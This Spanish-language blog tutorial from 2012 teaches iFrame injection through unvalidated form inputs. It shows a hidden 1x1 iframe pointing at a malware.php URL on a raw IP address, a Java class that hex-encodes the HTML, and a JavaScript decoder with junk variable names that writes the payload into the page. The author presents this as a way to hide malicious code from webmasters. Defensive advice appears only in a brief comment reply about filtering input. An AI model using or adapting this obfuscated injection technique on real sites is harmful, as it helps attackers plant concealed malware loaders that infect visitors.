Sigueme en Facebook Sigueme en Twitter Sigueme en Instagram Sigueme en Youtube
JC Mouse Bolivia
Index / Ciberseguridad / iFrame Injection – Ocultar código malicioso

iFrame Injection – Ocultar código malicioso

Autor jc mouse sábado, septiembre 8, 2012

En ocasiones los administradores de sitios web experimentan problemas de lentitud en su carga o en el peor de los casos al ingresar ven un aviso que les alerta de que su web ha sido bloqueado por considerarla como una «Web Atacante».

bloqueado

Estos problemas se deben a que existe un código malicioso incrustado en algún lugar del sitio web. Entre los muchos métodos de ataque que pueden hacer esto, tenemos uno que tiene por nombre «iFrame Injectión» o.O

¿Como funciona?

el atacante aprovecha una vulnerabilidad en algunas de las entradas, lo más común es en los formularios o campos de búsqueda, el hacker insertará código javascript que a su ves cargara comandos HTML que a su ves cargaran el malware, este error ocurre porque a la hora de programar la web, no se validaron los datos que se ingresan por los input, la manera más sencilla de comprobar si una web acepta código HTML es la siguiente 🙂

web vulnerable

Muy bien, si tenemos identificada una web vulnerable, podemos insertar el código malicioso, esta técnica utiliza la etiqueta iFrame para incrustar un objeto de otro servidor, por ejemplo:

<iframe src="http://67.121.131.51/algo/malo/malware.php?wtf" name="lol" width="1" height="1" style="visibility:hidden"></iframe>

pero claro, si se hace esto directamente, será muy fácil encontrarlo, debemos complicar un poco las cosas para el webmaster y para eso se hace uso de javascript.

Se debe ofuscar el código HTML para no levantar sospechas, se puede utilizar su equivalente en UNICODE, por ejemplo:

para la cadena de texto : «Hola mundo«,

su equivalente en UNICODE es: 0x48   0x6f   0x6c   0x61   0x20   0x6d  0x75  0x6e  0x64  0x6f

unicode-ascii

Unicode ASCII

Como se puede ver en la tabla anterior, cada carácter tiene su equivalente, entonces lo que debemos hacer es transformar cada carácter de nuestro código html-iframe a su par unicode, un trabajo laborioso, pero para facilitar las cosas podemos escribir una rutina en el mismo javascript u otro lenguaje que nos haga el trabajo pesado.

java unicode

clase java para convertir un string a unicode utf8

import java.io.UnsupportedEncodingException;
/**
 * @web https://www.jc-mouse.net
 * @author Mouse
 */
public class ToUnicode {

    private boolean modo=false;

    public ToUnicode(){}

    public ToUnicode( boolean modo ){ this.modo = modo; }

    public String Convertir( String texto )
    {
        String r = "";
       try {
         byte[] utf8Bytes = texto.getBytes("UTF8");
         int c = 1;
         for (int k = 0; k < utf8Bytes.length; k++) {
            if(modo)
            {
                r +=  "0x" + byteToHex(utf8Bytes[k]) +  " " ;
                c++;
                if( c>8 ) { c=1; r+="\n";}
            }
            else
            {
               r += byteToHex(utf8Bytes[k]);
            }
         }
        } catch (UnsupportedEncodingException e) {
             System.out.println( e.getMessage() );
        }
        return r;
    }

  private String byteToHex(byte b) {
        char hexDigit[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','a', 'b', 'c', 'd', 'e', 'f' };
        char[] array = { hexDigit[(b >> 4) & 0x0f], hexDigit[b & 0x0f] };
        return new String(array);
  }

}

Ahora que podemos ofuscar nuestro HTML, necesitamos una rutina en javascript para desofuscarlo y escribirlo en el documento, osea, la inversa de la anterior rutina java. El siguiente código dado una cadena alfanumerica, va tomando pares y transformado en caracteres, la función se llama «funcionXYZ«, el resultado es luego escrito por el comando javascript document.write.

<script>
   function funcionXYZ(variable) {
     var cadena = '';
     for (i = 0; i < variable.length; i += 2) {             
        cadena += ( String.fromCharCode( parseInt( variable.substr(i, 2) , 16 ) ) );   
     }
     return cadena;
   }

    document.write( funcionXYZ ( '3c7363726970743e616c65727428275573746564206d696a6f206573746120696e6665637461646f203a2920656e6a6f7921212127293b3c2f7363726970743e'
 ) ); 
</script>

Probamos este código en el navegador y tendremos como resultado una ventana alert.

alert

Hasta ahí todo bien, pero podemos complicar aún más las cosas 🙂

El codigo HTML  que utilizaremos sera el siguiente:

<script>alert('Usted mijo esta infectado 🙂 enjoy!!!');</script>
<iframe src="http://freelance.jc-mouse.net/" name="lol" width="1" height="1" scrolling="auto" style="visibility:hidden"></iframe>

ofuscado tenemos:

3c7363726970743e616c65727428275573746564206d696a6f206573746120696e6665637461646f203a2920656e6a6f7921
212127293b3c2f7363726970743e0a3c696672616d65207372633d22687474703a2f2f667265656c616e63652e6a632d6d6f
7573652e6e65742f22206e616d653d226c6f6c222077696474683d223122206865696768743d223122207363726f6c6c696e
673d226175746f22207374796c653d227669736962696c6974793a68696464656e223e3c2f696672616d653e

y camuflaremos también el código javascript cambiando los nombres de las funciones y las variables por otros sin sentido también limpiamos espacios quedando todo de esta forma:

CÓDIGO FINAL:

<script>
 document.write(function(v769068){var v7654324="";for(v765774=0;v765774<v769068.length;v765774+=2)v7654324+=String.fromCharCode(parseInt(v769068.substr(v765774,2),16));return v7654324}("3c7363726970743e616c65727428275573746564206d696a6f206573746120696e6665637461646f203a2920656e6a6f7921212127293b3c2f7363726970743e0a3c696672616d65207372633d22687474703a2f2f667265656c616e63652e6a632d6d6f7573652e6e65742f22206e616d653d226c6f6c222077696474683d223122206865696768743d223122207363726f6c6c696e673d226175746f22207374796c653d227669736962696c6974793a68696464656e223e3c2f696672616d653e"));
</script>

Y ya tenemos nuestro código malicioso ofuscado junto a un javascript también ofuscado listo para divertirse 🙂

Bájate el programa en java para convertir a unicode, el ejemplo final de HTML, javascript y código fuente java HERE

Tags

Si te ha gustado podrías compartirlo o dejar un comentario. ¡Muchas gracias!
Autor: JC Mouse

Yo soy yo :) JC Mouse, Soy orgullosamente boliviano soy fundador y CEO de la web jc-Mouse.net uno de las pocas web en emprendimiento y tecnología en Bolivia.

Toda la información que encuentres en este sitio es y sera completamente gratis siempre, puedes copiar, descargar y re-publicar si así lo deseas en otros blogs o sitios web, solo te pido a cambio que dejes una referencia a esta web. Esto nos ayuda a crecer y seguir aportando. Bye

Enjoy! :)

También Te Podría Interesar

Archivos binarios en Java (Lectura/Escritura)

Archivos binarios en Java (Lectura/Escritura)

Según Santa Wikipedia: «Un archivo binario es un archivo informático que contiene información de cualquier tipo codifica...

Desarrollo de juegos con Libgdx y Android Studio

Desarrollo de juegos con Libgdx y Android Studio

De las pocas herramientas disponibles entre librerías, frameworks, engines, etc para el desarrollo de videojuegos en len...

Minimizar aplicación al SystemTray/Bandeja del Sistema

Minimizar aplicación al SystemTray/Bandeja del Sistema

El SystemTray/Bandeja del Sistema o como también se le llama «Área de Notificación» es la sección de la barra de tareas...

Firebird iSQL – introducción

Firebird iSQL – introducción

iSQL: Es una herramienta de linea de comandos que acompaña a Firebird, se encuentra en la carpeta BIN, sirve para realiz...

Crea un Themes WordPress con Netbeans – Configuracion

Crea un Themes WordPress con Netbeans – Configuracion

Este post te enseña una manera que tengo de configurar Netbeans para crear y ejecutar un proyecto php utilizando el CMS...

Uso de Arrays: Ejemplo práctico

Uso de Arrays: Ejemplo práctico

En este post iremos conociendo de un modo práctico que es y como se utiliza un Array en java, para esto partiremos de un...

4 comentarios en “iFrame Injection – Ocultar código malicioso”

  1. jdg dice:

    alert(‘Usted mijo esta infectado enjoy!!!’);

  2. samuel dice:

    amigo una pregunta, acabo de copiar y pegar el codigo que pusiste en ti cuadro de texto…

    pero desearia saber que puedo hacer para hacer seguros las cajas de texto ?? ya lo he intentado pero no me sale.. agradeceria tu respuesta, saludos de antemao y gracias… muy buena tu pagina…Excelente…

    1. Mouse dice:

      debes filtrar el contenido, php tiene muchas opciones para hacer eso, htmlspecialchars, stripslashes, trim, preg_replace, etc, lo ideal es hacer una combinación de todas ellas 🙂

Los comentarios estan cerrados

Los comentarios están cerrados para este post
Comparte lo que sabes

Categorias

Últimas entradas

Si trabajas con redes sociales (RRSS) a continuación te muestro tres herramintas gratuitas que te ayudaran a la hora de...

Por lo general se usan transacciones a nivel base de datos y posteriormente se llaman estos a través de procedimientos a...

En este post, aprenderemos como conectar Visual Basic 6 con SQL Server, abrir una tabla, leer su contenido y mostrar est...

Lo que veremos en este post es la configuración del driver para PHP de SQL Server que ha creado Microsoft el cual permit...

Herramientas

Generador de Enlaces a Whatsapp